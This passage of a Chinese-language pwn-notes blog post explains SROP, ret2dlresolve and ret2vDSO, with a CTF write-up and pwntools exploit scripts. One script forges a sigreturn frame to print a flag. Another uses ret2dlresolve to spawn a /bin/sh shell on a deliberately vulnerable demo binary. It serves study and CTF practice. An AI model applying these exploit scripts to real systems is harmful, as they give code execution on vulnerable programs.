&lt;p&gt;正常情况下当遇到需要处理信号的时候，&lt;code&gt;kernel&lt;/code&gt; 会在栈上创建一个新的栈帧，并生成一个 &lt;code&gt;sigcontext&lt;/code&gt; 结构保存在新的栈帧中，&lt;code&gt;sigcontext&lt;/code&gt; 本质上就是一个对执行信号处理函数前的运行环境的快照，以便之后恢复到执行信号处理函数之前的环境接着运行；接着切换上下文到 Signal Handler 中进行信号处理工作；当信号不再被阻塞时，&lt;code&gt;sigreturn&lt;/code&gt; 会根据栈中保存的 &lt;code&gt;sigcontext&lt;/code&gt; 弹出所有寄存器的值，有效地将寄存器还原为执行信号处理之前的状态。&lt;/p&gt;
&lt;p&gt;那对于我们主动诱导程序去执行 &lt;code&gt;sigreturn&lt;/code&gt; 的这种非正常情况，栈上肯定是不会有 &lt;code&gt;kernel&lt;/code&gt; 生成的 &lt;code&gt;sigcontext&lt;/code&gt; 结构的，我就问你你能不能在栈上伪造一个 &lt;code&gt;sigcontext&lt;/code&gt; 出来？嘿嘿。&lt;/p&gt;
&lt;p&gt;敏锐的你现在是不是想跳起来惊呼，这是不是好比核武器？没错，通过伪造 &lt;code&gt;sigcontext&lt;/code&gt; 你可以一次控制所有寄存器的值，SO FUCKING POWERFUL!&lt;/p&gt;
&lt;p&gt;不幸的是这也是它的缺点所在……如果你不能泄漏栈值，就无法为 RSP 等寄存器设置一个有效的值，这或许是个棘手的问题。但无论如何，这都是一个强大的 trick, 尤其是在可用的 gadgets 有限的情况下。&lt;/p&gt;
&lt;p&gt;用于恢复状态的 &lt;code&gt;sigcontext&lt;/code&gt; 的结构如下 (基于 &lt;code&gt;x86_64&lt;/code&gt;)：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &amp;amp;uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &amp;amp;fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有关 SROP 的演示，这里还有一个视频讲的也很好，强推给你！&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe
width=&quot;100%&quot;
height=&quot;468&quot;
src=&quot;https://www.youtube.com/embed/ADULSwnQs-s?si=j1WVxYk2FPR21uZQ&quot;
title=&quot;YouTube video player&quot;
frameborder=&quot;0&quot;
allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot;
allowfullscreen&amp;gt;
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h3&gt;Example&lt;/h3&gt;
&lt;p&gt;好了，知道了这些基础概念后，下面就通过 Backdoor CTF 2017 的 &lt;a href=&quot;https://github.com/guyinatuxedo/nightmare/blob/master/modules/16-srop/backdoor_funsignals/funsignals_player_bin&quot;&gt;Fun Signals&lt;/a&gt; 这道题来实战一下吧～&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.shellcode:0000000010000000                     .686p
.shellcode:0000000010000000                     .mmx
.shellcode:0000000010000000                     .model flat
.shellcode:0000000010000000     .intel_syntax noprefix
.shellcode:0000000010000000
.shellcode:0000000010000000     ; ===========================================================================
.shellcode:0000000010000000
.shellcode:0000000010000000     ; Segment type: Pure code
.shellcode:0000000010000000     ; Segment permissions: Read/Write/Execute
.shellcode:0000000010000000     _shellcode      segment byte public &apos;CODE&apos; use64
.shellcode:0000000010000000                     assume cs:_shellcode
.shellcode:0000000010000000                     ;org 10000000h
.shellcode:0000000010000000                     assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.shellcode:0000000010000000
.shellcode:0000000010000000                     public _start
.shellcode:0000000010000000     _start:                                 ; Alternative name is &apos;_start&apos;
.shellcode:0000000010000000                     xor     eax, eax        ; __start
.shellcode:0000000010000002                     xor     edi, edi        ; Logical Exclusive OR
.shellcode:0000000010000004                     xor     edx, edx        ; Logical Exclusive OR
.shellcode:0000000010000006                     mov     dh, 4
.shellcode:0000000010000008                     mov     rsi, rsp
.shellcode:000000001000000B                     syscall                 ; LINUX - sys_read
.shellcode:000000001000000D                     xor     edi, edi        ; Logical Exclusive OR
.shellcode:000000001000000F                     push    0Fh
.shellcode:0000000010000011                     pop     rax
.shellcode:0000000010000012                     syscall                 ; LINUX - sys_rt_sigreturn
.shellcode:0000000010000014                     int     3               ; Trap to Debugger
.shellcode:0000000010000015
.shellcode:0000000010000015     syscall:                                ; LINUX - sys_rt_sigreturn
.shellcode:0000000010000015                     syscall
.shellcode:0000000010000017                     xor     rdi, rdi        ; Logical Exclusive OR
.shellcode:000000001000001A                     mov     rax, 3Ch ; &apos;&amp;lt;&apos;
.shellcode:0000000010000021                     syscall                 ; LINUX - sys_exit
.shellcode:0000000010000021     ; ---------------------------------------------------------------------------
.shellcode:0000000010000023     flag            db &apos;fake_flag_here_as_original_is_at_server&apos;,0
.shellcode:0000000010000023     _shellcode      ends
.shellcode:0000000010000023
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这是一个非常简单的程序，单纯的就是为了考 SROP，以至于出题人都直接手撸汇编了。&lt;/p&gt;
&lt;p&gt;注意到 flag 被硬编码在 &lt;code&gt;0x10000023&lt;/code&gt; 这个位置了，所以我们的目标就是输出这个地址处的内容。由于这个程序没开 ASLR 什么的保护，拿下它还是非常轻松的。&lt;/p&gt;
&lt;p&gt;简单分析一下这个程序，我们知道它在第一个 &lt;code&gt;syscall&lt;/code&gt; 处调用了 &lt;code&gt;read&lt;/code&gt;，从 &lt;code&gt;stdin&lt;/code&gt; 读取了 &lt;code&gt;0x400&lt;/code&gt; bytes 到栈上。紧接着第二个 &lt;code&gt;syscall&lt;/code&gt; 直接帮我们调用了 &lt;code&gt;rt_sigreturn&lt;/code&gt;，那就不用我们自己动手了，我们只要伪造并发送 &lt;code&gt;sigcontext&lt;/code&gt; 栈帧即可。思路是伪造一个 &lt;code&gt;SYS_write&lt;/code&gt; 的调用，将 flag 输出到 &lt;code&gt;stdout&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    constants,
    context,
    gdb,
    log,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./funsignals_player_bin&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *_start+11
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload():
    flag_address = 0x10000023

    rop = ROP(elf)

    syscall = rop.syscall.address

    frame = SigreturnFrame()

    frame.rdi = 0x1
    frame.rsi = flag_address
    frame.rdx = 0x1337
    frame.rax = constants.SYS_write
    frame.rip = syscall

    return bytes(frame)


def attack(target):
    try:
        payload = construct_payload()

        target.send(payload)

        response = target.recvall(timeout=3)

        if b&quot;flag&quot; in response:
            log.success(response[:0x27].decode(&quot;ascii&quot;))

            return True
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success(&quot;Attack completed successfully.&quot;)
            else:
                log.failure(&quot;Attack did not yield a flag.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;总结：有的时候你的 ROP Chain 可能会缺少一些必要的 gadgets，导致无法设定某些后续攻击代码需要用到的参数，这时候就可以考虑使用 SROP 来控制寄存器。当然，使用 SROP 也是有条件的，比如你起码得有 &lt;code&gt;syscall&lt;/code&gt; 这个 gadget，并且能控制 &lt;code&gt;rax&lt;/code&gt; 的值为 &lt;code&gt;sigreturn&lt;/code&gt; 的系统调用号，还有一点也很重要，就是 &lt;code&gt;rsp&lt;/code&gt; 必须指向伪造的 frame 。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
要知道 &lt;code&gt;rax&lt;/code&gt; 是一个特殊的寄存器，通常用于保存函数的返回值。所以当我说控制 &lt;code&gt;rax&lt;/code&gt; 的值时，你不一定非得通过某些 gadgets 来实现这一点，有时候程序本身就可以为你设置好它，比如 &lt;code&gt;read&lt;/code&gt; 函数会返回读到的字节数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://youtu.be/ADULSwnQs-s?si=TC5OyUwFHDFEHRO3&quot;&gt;Boosting your ROP skills with SROP and ret2dlresolve - Giulia Martino - HackTricks Track 2023&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man2/sigreturn.2.html&quot;&gt;sigreturn(2) — Linux manual page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.stormshield.com/news/playing-with-signals-an-overview-on-sigreturn-oriented-programming/&quot;&gt;Playing with signals: an overview on Sigreturn Oriented Programming&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ret2dlresolve&lt;/h2&gt;
&lt;h3&gt;Principle&lt;/h3&gt;
&lt;p&gt;对于 &lt;code&gt;dynamically linked&lt;/code&gt; 的程序，当它第一次调用共享库中的函数时，动态链接器（如 &lt;code&gt;ld-linux-x86-64.so.2&lt;/code&gt;）会通过 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数动态解析共享库中符号的地址，并将解析出来的实际地址保存到 &lt;code&gt;GOT (Global Offset Table)&lt;/code&gt; 中，这样下次调用这个函数就不需要再次解析，可以直接通过全局偏移表进行跳转。&lt;/p&gt;
&lt;p&gt;以上流程我们称之为重定位 (Relocation)。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;具体重定位流程以及为什么需要重定位，不同 &lt;code&gt;RELRO&lt;/code&gt; 保护级别之间的区别之类的，我之后再单独开一个小标题来写，这里先占个坑。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 函数从栈中获取对一些它需要的结构的引用，以便解析指定的符号。因此攻击者通过伪造这个结构就可以劫持 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 让它去解析任意符号地址。&lt;/p&gt;
&lt;h3&gt;Example&lt;/h3&gt;
&lt;p&gt;我们就以 &lt;code&gt;pwntools&lt;/code&gt; 官方文档里面提供的示例程序来学习 how to ret2dlresolve. 其实就是学一下如何使用它提供的自动化工具……有关如何手动伪造 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 所需的结构体，以及一些更深入的话题，我之后应该还会回来填这个坑，先立 flag 了哈哈哈。&lt;/p&gt;
&lt;p&gt;示例程序来源于 &lt;a href=&quot;https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html&quot;&gt;pwnlib.rop.ret2dlresolve — Return to dl_resolve&lt;/a&gt;，通过下面这条指令来编译：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc ret2dlresolve.c -o ret2dlresolve \
    -fno-stack-protector \
    -no-pie
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pwntools&lt;/code&gt; 官方文档里给我们的程序源码是这样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;

void vuln(void) {
  char buf[64];

  read(STDIN_FILENO, buf, 200);
}

int main(int argc, char **argv) { vuln(); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是编译出来后发现真 TM 坑，没有控制前三个参数的 gadgets，导致我们不能写入伪造的结构体……所以为了实验的顺利进行，我只得手动插入几个 gadgets 了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;

void free_gadgets() {
  __asm__(&quot;pop %rdi; ret&quot;);
  __asm__(&quot;pop %rsi; ret&quot;);
  __asm__(&quot;pop %rdx; ret&quot;);
}

void vuln(void) {
  char buf[64];

  read(STDIN_FILENO, buf, 200);
}

int main(int argc, char **argv) { vuln(); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序很简单，从 &lt;code&gt;stdin&lt;/code&gt; 读取了 200 字节数据到 &lt;code&gt;buf&lt;/code&gt;，由于 &lt;code&gt;buf&lt;/code&gt; 只有可怜的 64 字节空间，故存在 136 字节溢出空间。空间如此之充裕，让我们有足够的余地来编排一曲邪恶的代码交响乐，演绎攻击者的狂想曲。&lt;/p&gt;
&lt;p&gt;我们的目标是通过 &lt;code&gt;ret2dlresolve&lt;/code&gt; 技术来 getshell. 思路大致应该是：将伪造的用于解析 &lt;code&gt;system&lt;/code&gt; 符号的结构体放到一个 &lt;code&gt;rw&lt;/code&gt; 空间，并提前设置好 &lt;code&gt;system&lt;/code&gt; 函数要用到的参数，也就是将 &lt;code&gt;rdi&lt;/code&gt; 设为 &lt;code&gt;/bin/sh&lt;/code&gt; 字符串的地址。接着在栈上布置我们伪造的结构的地址，以便 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 引用我们伪造的这个结构体来解析符号。现在我们调用 &lt;code&gt;_dl_runtime_resolve&lt;/code&gt; 就会解析出 &lt;code&gt;system&lt;/code&gt; 的地址，根据我们先前设置好的参数，程序会乖乖的 spawn a shell.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from contextlib import contextmanager

from pwn import (
    ELF,
    ROP,
    Ret2dlresolvePayload,
    context,
    flat,
    gdb,
    log,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./ret2dlresolve&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *vuln+25
c
&quot;&quot;&quot;


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(padding_to_ret, first_read_size):
    dlresolve = Ret2dlresolvePayload(elf, symbol=&quot;system&quot;, args=[&quot;/bin/sh&quot;])
    fake_structure = dlresolve.payload

    rop = ROP(elf)

    rop.read(0, dlresolve.data_addr, len(fake_structure))
    rop.raw(rop.ret.address)
    rop.ret2dlresolve(dlresolve)

    log.success(rop.dump())

    raw_rop = rop.chain()

    return flat({padding_to_ret: raw_rop, first_read_size: fake_structure})


def attack(target):
    try:
        payload = construct_payload(0x48, 0xC8)

        target.sendline(payload)
        target.interactive()
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        with launch(debug=False) as target:
            attack(target)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;当没有可用的 &lt;code&gt;syscall&lt;/code&gt; gadgets 来实现 &lt;code&gt;ret2syscall&lt;/code&gt; 或 &lt;code&gt;SROP&lt;/code&gt;，并且没有办法泄漏 &lt;code&gt;libc&lt;/code&gt; 地址时，可以考虑 &lt;code&gt;ret2dlresolve&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://youtu.be/ADULSwnQs-s?si=TC5OyUwFHDFEHRO3&quot;&gt;Boosting your ROP skills with SROP and ret2dlresolve - Giulia Martino - HackTricks Track 2023&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://syst3mfailure.io/ret2dl_resolve/&quot;&gt;ret2dl_resolve x64: Exploiting Dynamic Linking Procedure In x64 ELF Binaries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ypl.coffee/dl-resolve-full-relro/&quot;&gt;Finding link_map and _dl_runtime_resolve() under full RELRO&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ret2vDSO&lt;/h2&gt;
&lt;h3&gt;Principle&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;vDSO (Virtual Dynamic Shared Object)&lt;/code&gt; 是 Linux 内核为用户态程序提供的一个特殊共享库，注意它是虚拟的，本身并不存在，它做的只是将一些常用的内核态调用映射到用户地址空间。这么做的目的是为了加速系统调用，避免频繁地从用户态切换到内核态，有效的减少了切换带来的巨大开销。&lt;/p&gt;
&lt;p&gt;在 vDSO 区域 可能存在一些 gadgets，用于从用户态切换到内核态。我们关注的就是这块区域里有没有什么可供我们利用的 gadgets，通常需要手动把 vDSO dump 出来分析。&lt;/p&gt;
&lt;h3&gt;Example&lt;/h3&gt;
&lt;p&gt;崩溃了兄弟，我自己出了一道题然后折腾了两天做不出来……我好菜啊……受到致命心理打击。例题等我缓过来再说吧，估计一年都不想碰这个了……反正只要知道 vDSO 区域里面存在一些可用的 gadgets 就好了，剩下的和普通 ROP 没啥区别。&lt;/p&gt;
&lt;p&gt;示范一下怎么通过 gdb dump 出 vDSO：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/cub3y0nd/Projects/ret2vDSO/ret2vDSO
    0x555555555000     0x555555556000 r-xp     1000   1000 /home/cub3y0nd/Projects/ret2vDSO/ret2vDSO
    0x555555556000     0x555555557000 r--p     1000   2000 /home/cub3y0nd/Projects/ret2vDSO/ret2vDSO
    0x7ffff7fbf000     0x7ffff7fc1000 rw-p     2000      0 [anon_7ffff7fbf]
    0x7ffff7fc1000     0x7ffff7fc5000 r--p     4000      0 [vvar]
    0x7ffff7fc5000     0x7ffff7fc7000 r-xp     2000      0 [vdso]
    0x7ffff7fc7000     0x7ffff7fc8000 r--p     1000      0 /usr/lib/ld-linux-x86-64.so.2
    0x7ffff7fc8000     0x7ffff7ff1000 r-xp    29000   1000 /usr/lib/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000  2a000 /usr/lib/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7fff000 rw-p     4000  34000 /usr/lib/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]
pwndbg&amp;gt; dump memory vdso.so 0x7ffff7fc5000 0x7ffff7fc7000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用 &lt;code&gt;ROPgadget&lt;/code&gt; 分析 dump 出来的文件，大概那么一看有将近 500 个 gadgets，不过好像并不是很实用呢？感觉用这个 trick 性价比不高，不过也是一个值得尝试的方法。&lt;/p&gt;
&lt;p&gt;嗯……再来介绍个好东西，叫 &lt;code&gt;ELF Auxiliary Vectors (AUXV)&lt;/code&gt;，ELF 辅助向量。它是内核在加载 ELF 可执行文件时传递给用户态程序的一组键值对。包含了与程序运行环境相关的底层信息，例如系统调用接口位置、内存布局、硬件能力等。&lt;/p&gt;
&lt;p&gt;当一个程序被加载时，Linux 内核将参数数量 (argc)、参数 (argv)、环境变量 (envp) 以及 AUXV 结构传递给程序的入口函数。程序可以通过系统提供的 &lt;code&gt;getauxval&lt;/code&gt; 访问这些辅助向量，以获取系统信息。&lt;/p&gt;
&lt;p&gt;看看当前最新的 &lt;code&gt;v6.14-rc1&lt;/code&gt; 内核中有关它的定义（旧版本中有关它的定义在 &lt;code&gt;elf.h&lt;/code&gt; 中）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _UAPI_LINUX_AUXVEC_H
#define _UAPI_LINUX_AUXVEC_H

#include &amp;lt;asm/auxvec.h&amp;gt;

/* Symbolic values for the entries in the auxiliary table
   put on the initial stack */
#define AT_NULL   0 /* end of vector */
#define AT_IGNORE 1 /* entry should be ignored */
#define AT_EXECFD 2 /* file descriptor of program */
#define AT_PHDR   3 /* program headers for program */
#define AT_PHENT  4 /* size of program header entry */
#define AT_PHNUM  5 /* number of program headers */
#define AT_PAGESZ 6 /* system page size */
#define AT_BASE   7 /* base address of interpreter */
#define AT_FLAGS  8 /* flags */
#define AT_ENTRY  9 /* entry point of program */
#define AT_NOTELF 10 /* program is not ELF */
#define AT_UID    11 /* real uid */
#define AT_EUID   12 /* effective uid */
#define AT_GID    13 /* real gid */
#define AT_EGID   14 /* effective gid */
#define AT_PLATFORM 15  /* string identifying CPU for optimizations */
#define AT_HWCAP  16    /* arch dependent hints at CPU capabilities */
#define AT_CLKTCK 17 /* frequency at which times() increments */
/* AT_* values 18 through 22 are reserved */
#define AT_SECURE 23   /* secure mode boolean */
#define AT_BASE_PLATFORM 24 /* string identifying real platform, may
     * differ from AT_PLATFORM. */
#define AT_RANDOM 25 /* address of 16 random bytes */
#define AT_HWCAP2 26 /* extension of AT_HWCAP */
#define AT_RSEQ_FEATURE_SIZE 27 /* rseq supported feature size */
#define AT_RSEQ_ALIGN  28 /* rseq allocation alignment */
#define AT_HWCAP3 29 /* extension of AT_HWCAP */
#define AT_HWCAP4 30 /* extension of AT_HWCAP */

#define AT_EXECFN  31 /* filename of program */

#ifndef AT_MINSIGSTKSZ
#define AT_MINSIGSTKSZ 51 /* minimal stack size for signal delivery */
#endif

#endif /* _UAPI_LINUX_AUXVEC_H */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于特定的架构可能还有一些特别的宏定义：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _ASM_X86_AUXVEC_H
#define _ASM_X86_AUXVEC_H
/*
 * Architecture-neutral AT_ values in 0-17, leave some room
 * for more of them, start the x86-specific ones at 32.
 */
#ifdef __i386__
#define AT_SYSINFO 32
#endif
#define AT_SYSINFO_EHDR 33

/* entries in ARCH_DLINFO: */
#if defined(CONFIG_IA32_EMULATION) || !defined(CONFIG_X86_64)
# define AT_VECTOR_SIZE_ARCH 3
#else /* else it&apos;s non-compat x86-64 */
# define AT_VECTOR_SIZE_ARCH 2
#endif

#endif /* _ASM_X86_AUXVEC_H */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上所有内容的参考链接我都放在末尾的 References 了，感兴趣的自行查阅。&lt;/p&gt;
&lt;p&gt;我们可以通过指定 &lt;code&gt;LD_SHOW_AUXV=1&lt;/code&gt; 来查看程序的 AUXV 信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/ LD_SHOW_AUXV=1 w
AT_SYSINFO_EHDR:      0x7f92c06b9000
AT_MINSIGSTKSZ:       1776
AT_HWCAP:             178bfbff
AT_PAGESZ:            4096
AT_CLKTCK:            100
AT_PHDR:              0x626d19090040
AT_PHENT:             56
AT_PHNUM:             13
AT_BASE:              0x7f92c06bb000
AT_FLAGS:             0x0
AT_ENTRY:             0x626d19092940
AT_UID:               1000
AT_EUID:              1000
AT_GID:               1000
AT_EGID:              1000
AT_SECURE:            0
AT_RANDOM:            0x7ffca3edf4e9
AT_HWCAP2:            0x2
AT_EXECFN:            /usr/bin/w
AT_PLATFORM:          x86_64
AT_RSEQ_FEATURE_SIZE: 28
AT_RSEQ_ALIGN:        32
 14:19:59 up  3:54,  1 user,  load average: 0.52, 0.57, 0.59
USER     TTY       LOGIN@   IDLE   JCPU   PCPU  WHAT
cub3y0nd tty1      10:26    3:53m  6:43    ?    xinit /home/cub3y0nd/.xinitrc -- /etc/X11/xinit/xs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到这个变量是以 &lt;code&gt;LD_&lt;/code&gt; 开头的，说明动态链接器会负责解析这个变量，因此，如果程序是静态链接的，那使用这个变量将不会得到任何输出。&lt;/p&gt;
&lt;p&gt;但是得不到输出不代表它没有，用 &lt;code&gt;pwndbg&lt;/code&gt; 的 &lt;code&gt;i auxv&lt;/code&gt; 或 &lt;code&gt;auxv&lt;/code&gt; 也可以查看程序的 AUXV 信息（或者你手动 telescope stack）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; i auxv
33   AT_SYSINFO_EHDR      System-supplied DSO&apos;s ELF header 0x7ffff7ffd000
51   AT_MINSIGSTKSZ       Minimum stack size for signal delivery 0x6f0
16   AT_HWCAP             Machine-dependent CPU capability hints 0x178bfbff
6    AT_PAGESZ            System page size               4096
17   AT_CLKTCK            Frequency of times()           100
3    AT_PHDR              Program headers for program    0x400040
4    AT_PHENT             Size of program header entry   56
5    AT_PHNUM             Number of program headers      6
7    AT_BASE              Base address of interpreter    0x0
8    AT_FLAGS             Flags                          0x0
9    AT_ENTRY             Entry point of program         0x40101d
11   AT_UID               Real user ID                   1000
12   AT_EUID              Effective user ID              1000
13   AT_GID               Real group ID                  1000
14   AT_EGID              Effective group ID             1000
23   AT_SECURE            Boolean, was exec setuid-like? 0
25   AT_RANDOM            Address of 16 random bytes     0x7fffffffe789
26   AT_HWCAP2            Extension of AT_HWCAP          0x2
31   AT_EXECFN            File name of executable        0x7fffffffefce &quot;/home/cub3y0nd/Projects/ret2vDSO/ret2vDSO&quot;
15   AT_PLATFORM          String identifying platform    0x7fffffffe799 &quot;x86_64&quot;
27   AT_RSEQ_FEATURE_SIZE rseq supported feature size    28
28   AT_RSEQ_ALIGN        rseq allocation alignment      32
0    AT_NULL              End of vector                  0x0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这之中我们最关心的应该是 &lt;code&gt;AT_SYSINFO_EHDR&lt;/code&gt;，它与 &lt;code&gt;vDSO&lt;/code&gt; 的起始地址相同。因此，只要能把它泄漏出来，我们就可以掌握 vDSO 的 gadgets 了。&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;AT_RANDOM&lt;/code&gt; 好像也是一个很实用的东西，等我有空了再好好研究研究这些，话说这是我立的第几个 flag 了……&lt;/p&gt;
&lt;p&gt;一般程序的返回地址之后紧接着的就是 &lt;code&gt;argc&lt;/code&gt;，然后是 &lt;code&gt;argv&lt;/code&gt;，再之后就是 &lt;code&gt;envp&lt;/code&gt;，最后还有一堆信息，它们就是 &lt;code&gt;AUXV&lt;/code&gt; 了，这些都在栈上保存，自己研究去吧，我心好累……&lt;/p&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;反正我感觉这是一个性价比不怎么高的 trick，不过要是实在没办法搞到可用的 gadgets 的话还是可以考虑一下的。&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/VDSO&quot;&gt;vDSO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man3/getauxval.3.html&quot;&gt;getauxval(3) — Linux manual page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/auxvec.h?h=v6.14-rc1&quot;&gt;kernel/git/torvalds/linux.git - path: root/include/uapi/linux/auxvec.h&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x86/include/uapi/asm/auxvec.h?h=v6.14-rc1&quot;&gt;kernel/git/torvalds/linux.git - path: root/arch/x86/include/uapi/asm/auxvec.h&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Try-Catch, Catch Me If You Can&lt;/h2&gt;
&lt;p&gt;这是关于 &lt;code&gt;(CHOP) Catch Handler Oriented Programming&lt;/code&gt; 的，我单独写了一篇博客，请移步 &lt;a href=&quot;/posts/pwn-notes/catch-handler-oriented-programming-notes/&quot;&gt;CHOP Suey: 端上异常处理的攻击盛宴&lt;/a&gt;。&lt;/p&gt;
&lt;h1&gt;当 gadgets 缺席：Who needs &quot;pop rdi&quot; when you have gets() ?&lt;/h1&gt;
